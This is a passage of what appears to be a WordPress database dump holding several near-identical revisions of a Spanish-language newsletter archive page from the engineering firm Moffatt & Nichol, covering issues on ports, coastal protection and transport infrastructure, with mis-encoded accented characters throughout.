src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde nueva vida a las estructuras marÃtimas histÃ³ricas para servir a las nuevas generaciones.</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-3','','','2012-05-29 05:46:33','2012-05-29 05:46:33','',75,'http://moffattnichol.com/spanish/75-revision-3/',0,'revision','',0),(2353,1,'2012-05-29 05:48:20','2012-05-29 05:48:20','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para celdas de potencia</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la automatizaciÃ³n.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde nueva vida a las estructuras marÃtimas histÃ³ricas para servir a las nuevas generaciones.</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-4','','','2012-05-29 05:48:20','2012-05-29 05:48:20','',75,'http://moffattnichol.com/spanish/75-revision-4/',0,'revision','',0),(2354,1,'2012-05-29 05:49:27','2012-05-29 05:49:27','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde nueva vida a las estructuras marÃtimas histÃ³ricas para servir a las nuevas generaciones.</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-5','','','2012-05-29 05:49:27','2012-05-29 05:49:27','',75,'http://moffattnichol.com/spanish/75-revision-5/',0,'revision','',0),(2355,1,'2012-05-29 05:50:41','2012-05-29 05:50:41','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-6','','','2012-05-29 05:50:41','2012-05-29 05:50:41','',75,'http://moffattnichol.com/spanish/75-revision-6/',0,'revision','',0),(2356,1,'2012-05-29 05:51:56','2012-05-29 05:51:56','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong><p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" 